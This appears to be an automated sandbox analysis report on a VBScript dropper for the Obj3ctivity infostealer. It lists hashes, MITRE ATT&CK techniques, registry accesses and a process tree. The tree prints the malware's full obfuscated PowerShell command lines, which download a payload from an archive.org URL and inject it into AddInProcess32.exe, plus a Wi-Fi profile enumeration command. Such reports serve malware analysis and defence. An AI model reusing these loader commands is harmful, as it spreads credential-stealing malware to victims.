obj3ctivity | 6da74e92c740c4443c54a8243037d0a2d9fac8f34764d1a86933063e5790ef2a

Resubmissions

02/10/2024, 03:28

241002-d1ty6avejr10

02/10/2024, 03:25

241002-dym3tsvdlk10

Analysis

max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
02/10/2024, 03:25

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General

Target
6da74e92c740c4443c54a8243037d0a2d9fac8f34764d1a86933063e5790ef2a.vbs
Size 504KB
Sample241002-dym3tsvdlk
SHA256 6da74e92c740c4443c54a8243037d0a2d9fac8f34764d1a86933063e5790ef2a
MD5 73116ddf40456b41c6b35023bc02e781
SHA1 037b869900d0474bf7603b8fbe3401f517f52117
SHA512 f60cbe6234371aacd3f42f87db8ea04cc3b982d9c356db5a1e0fa3959268c0aa8e78e4c059feac1619348a3453e55c3386e096812d2a4a6d61aca5cc99007be3
SSDEEP 12288:VS57Wp1MYi6qsGrA2OGLmeq0wM/l1d0FUvoExHRbb4XJb7q5cPT+EmJu6X:VC6X0T5VnpJ4Za
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

obj3ctivity collection discovery execution persistence privilege_escalation stealer

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt
exe.dropper
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Signatures

Detects Obj3ctivity Stage1 3 IoCs

Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.

stealer

resource	yara_rule
behavioral2/memory/3736-25-0x0000000000400000-0x0000000000416000-memory.dmp	family_obj3ctivity
behavioral2/memory/3736-28-0x0000000000400000-0x0000000000416000-memory.dmp	family_obj3ctivity
behavioral2/memory/3736-33-0x0000000005480000-0x0000000005566000-memory.dmp	family_obj3ctivity

Obj3ctivity, PXRECVOWEIWOEI
Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.
stealer obj3ctivity

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	2468	powershell.exe
22	2468	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3468	powershell.exe
2468	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	AddInProcess32.exe
Key opened	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	AddInProcess32.exe
Key opened	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	AddInProcess32.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
41	icanhazip.com
61	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2468 set thread context of 3736	2468	powershell.exe	91

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
3776	cmd.exe
4824	netsh.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	AddInProcess32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	AddInProcess32.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3468	powershell.exe
3468	powershell.exe
2468	powershell.exe
2468	powershell.exe
2468	powershell.exe
2468	powershell.exe
3736	AddInProcess32.exe
3736	AddInProcess32.exe
3736	AddInProcess32.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3468	powershell.exe
Token: SeDebugPrivilege	2468	powershell.exe
Token: SeDebugPrivilege	3736	AddInProcess32.exe
Token: SeSecurityPrivilege	4664	msiexec.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 1520 wrote to memory of 3468	1520	WScript.exe	82
PID 1520 wrote to memory of 3468	1520	WScript.exe	82
PID 3468 wrote to memory of 2468	3468	powershell.exe	84
PID 3468 wrote to memory of 2468	3468	powershell.exe	84
PID 2468 wrote to memory of 4380	2468	powershell.exe	90
PID 2468 wrote to memory of 4380	2468	powershell.exe	90
PID 2468 wrote to memory of 4380	2468	powershell.exe	90
PID 2468 wrote to memory of 3736	2468	powershell.exe	91
PID 2468 wrote to memory of 3736	2468	powershell.exe	91
PID 2468 wrote to memory of 3736	2468	powershell.exe	91
PID 2468 wrote to memory of 3736	2468	powershell.exe	91
PID 2468 wrote to memory of 3736	2468	powershell.exe	91
PID 2468 wrote to memory of 3736	2468	powershell.exe	91
PID 2468 wrote to memory of 3736	2468	powershell.exe	91
PID 2468 wrote to memory of 3736	2468	powershell.exe	91
PID 3736 wrote to memory of 3776	3736	AddInProcess32.exe	95
PID 3736 wrote to memory of 3776	3736	AddInProcess32.exe	95
PID 3736 wrote to memory of 3776	3736	AddInProcess32.exe	95
PID 3776 wrote to memory of 3248	3776	cmd.exe	98
PID 3776 wrote to memory of 3248	3776	cmd.exe	98
PID 3776 wrote to memory of 3248	3776	cmd.exe	98
PID 3776 wrote to memory of 4824	3776	cmd.exe	99
PID 3776 wrote to memory of 4824	3776	cmd.exe	99
PID 3776 wrote to memory of 4824	3776	cmd.exe	99
PID 3776 wrote to memory of 1516	3776	cmd.exe	100
PID 3776 wrote to memory of 1516	3776	cmd.exe	100
PID 3776 wrote to memory of 1516	3776	cmd.exe	100

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	AddInProcess32.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	AddInProcess32.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\6da74e92c740c4443c54a8243037d0a2d9fac8f34764d1a86933063e5790ef2a.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgneycrJzF9dXJsICcrJz0gJysneycrJzB9JysnaHR0cHMnKyc6Ly9pYTYnKycwMCcrJzEwMCcrJy51cy5hJysncmNoaXYnKydlLm9yZycrJy8yNC9pJysndGUnKydtcy9kZXRhaC0nKydubycrJ3RlLScrJ3YvRGV0YWhOb3RlJysnVicrJy50JysneCcrJ3R7MH07ezF9YmFzZScrJzYnKyc0Q29udGVuJysndCA9JysnIChOZScrJ3ctJysnT2InKydqJysnZScrJ2N0IFN5c3RlbS5OJysnZScrJ3QnKycuV2ViJysnQ2xpZW50KS5Eb3dubG9hZFN0cmluZyh7MScrJ311cmwpO3sxJysnfScrJ2InKydpbicrJ2FyeScrJ0NvbnRlbnQgPScrJyBbU3lzdCcrJ2UnKydtJysnLkNvbnZlcnRdJysnOjonKydGcm9tQicrJ2FzZTY0JysnU3QnKydyaW5nKCcrJ3sxJysnfWJhJysnc2U2NENvbicrJ3RlJysnbnQpOycrJ3sxJysnfWFzc2UnKydtYmx5ID0gW1JlZmxlY3QnKydpbycrJ24nKycuQScrJ3NzZW1ibHknKyddJysnOjpMb2FkKHsxfWJpbmFyeScrJ0MnKydvJysnbicrJ3QnKydlJysnbnQpO3sxfXR5JysncGUnKycgPScrJyB7MX1hJysnc3MnKydlJysnbWJseS5HJysnZXRUeXBlJysnKHswfVJ1blBFLicrJ0hvbWV7MH0pOycrJ3sxJysnfScrJ20nKydldGhvZCA9JysnIHsxfXR5cGUuRycrJ2V0JysnTWUnKyd0JysnaG9kKCcrJ3swfVZBSXsnKycwfScrJyk7ezF9bWV0aG9kLicrJ0ludicrJ29rJysnZSh7JysnMScrJ31udScrJ2xsLCBbbycrJ2JqZWMnKyd0JysnWycrJ11dJysnQCh7MH10eCcrJ3QueHR5bS92ZWQuJysnMicrJ3IuMzliMzQnKyc1MzAnKycyYScrJzA3JysnNWIxYmMwZDQnKyc1YjYzMmViOWVlNjInKyctYicrJ3UnKydwJysnLy86cycrJ3B0dCcrJ2h7MCcrJ30gLCcrJyAnKyd7MCcrJ31kZXNhdGl2YWRvezB9ICcrJywgezB9ZGVzYXQnKydpdmEnKydkb3snKycwJysnfScrJyAsIHswfWQnKydlc2F0JysnaScrJ3ZhJysnZG97MH0sezB9QScrJ2RkSScrJ25Qcm9jZScrJ3NzMycrJzJ7MH0sJysnezAnKyd9JysnezAnKyd9KScrJyknKSAtRiAgW2NIYXJdMzksW2NIYXJdMzYpIHwgLiAoKEdWICcqbWRSKicpLm5hbWVbMywxMSwyXS1Kb2luJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3468
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{'+'1}url '+'= '+'{'+'0}'+'https'+'://ia6'+'00'+'100'+'.us.a'+'rchiv'+'e.org'+'/24/i'+'te'+'ms/detah-'+'no'+'te-'+'v/DetahNote'+'V'+'.t'+'x'+'t{0};{1}base'+'6'+'4Conten'+'t ='+' (Ne'+'w-'+'Ob'+'j'+'e'+'ct System.N'+'e'+'t'+'.Web'+'Client).DownloadString({1'+'}url);{1'+'}'+'b'+'in'+'ary'+'Content ='+' [Syst'+'e'+'m'+'.Convert]'+'::'+'FromB'+'ase64'+'St'+'ring('+'{1'+'}ba'+'se64Con'+'te'+'nt);'+'{1'+'}asse'+'mbly = [Reflect'+'io'+'n'+'.A'+'ssembly'+']'+'::Load({1}binary'+'C'+'o'+'n'+'t'+'e'+'nt);{1}ty'+'pe'+' ='+' {1}a'+'ss'+'e'+'mbly.G'+'etType'+'({0}RunPE.'+'Home{0});'+'{1'+'}'+'m'+'ethod ='+' {1}type.G'+'et'+'Me'+'t'+'hod('+'{0}VAI{'+'0}'+');{1}method.'+'Inv'+'ok'+'e({'+'1'+'}nu'+'ll, [o'+'bjec'+'t'+'['+']]'+'@({0}tx'+'t.xtym/ved.'+'2'+'r.39b34'+'530'+'2a'+'07'+'5b1bc0d4'+'5b632eb9ee62'+'-b'+'u'+'p'+'//:s'+'ptt'+'h{0'+'} ,'+' '+'{0'+'}desativado{0} '+', {0}desat'+'iva'+'do{'+'0'+'}'+' , {0}d'+'esat'+'i'+'va'+'do{0},{0}A'+'ddI'+'nProce'+'ss3'+'2{0},'+'{0'+'}'+'{0'+'})'+')') -F [cHar]39,[cHar]36) | . ((GV '*mdR*').name[3,11,2]-Join'')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2468
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      PID:4380
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      Accesses Microsoft Outlook profiles
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      outlook_office_path
      outlook_win_path
      PID:3736
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
        5⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Wi-Fi Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3776
      - C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3248
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh wlan show profile
        6⤵
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:4824
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr All
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1516

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4664

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
MD5 f41839a3fe2888c8b3050197bc9a0a05
SHA1 0798941aaf7a53a11ea9ed589752890aee069729
SHA512 2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
MD5 5caad758326454b5788ec35315c4c304
SHA1 3aef8dba8042662a7fcf97e51047dc636b4d4724
SHA512 4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693
MD5 SHA1 SHA512

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__PSScriptPolicyTest_vnyqxgki.bel.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vnyqxgki.bel.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/2468-24-0x000001D64D1A0000-0x000001D64D3AC000-memory.dmp

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memory/3468-22-0x00007FFA09743000-0x00007FFA09745000-memory.dmp

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memory/3468-7-0x0000029271400000-0x0000029271422000-memory.dmp

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memory/3468-23-0x00007FFA09740000-0x00007FFA0A201000-memory.dmp

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memory/3468-12-0x00007FFA09740000-0x00007FFA0A201000-memory.dmp

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memory/3468-0-0x00007FFA09743000-0x00007FFA09745000-memory.dmp

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memory/3468-32-0x00007FFA09740000-0x00007FFA0A201000-memory.dmp

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memory/3468-11-0x00007FFA09740000-0x00007FFA0A201000-memory.dmp

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memory/3736-33-0x0000000005480000-0x0000000005566000-memory.dmp

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memory/3736-28-0x0000000000400000-0x0000000000416000-memory.dmp

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memory/3736-25-0x0000000000400000-0x0000000000416000-memory.dmp

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memory/3736-34-0x00000000056D0000-0x0000000005736000-memory.dmp

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memory/3736-35-0x0000000005C70000-0x0000000005C82000-memory.dmp

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memory/3736-36-0x00000000060B0000-0x0000000006272000-memory.dmp

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memory/3736-66-0x0000000006800000-0x0000000006876000-memory.dmp

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memory/3736-88-0x0000000006E30000-0x00000000073D4000-memory.dmp

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memory/3736-89-0x0000000006680000-0x0000000006712000-memory.dmp

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memory/3736-90-0x00000000073E0000-0x000000000790C000-memory.dmp

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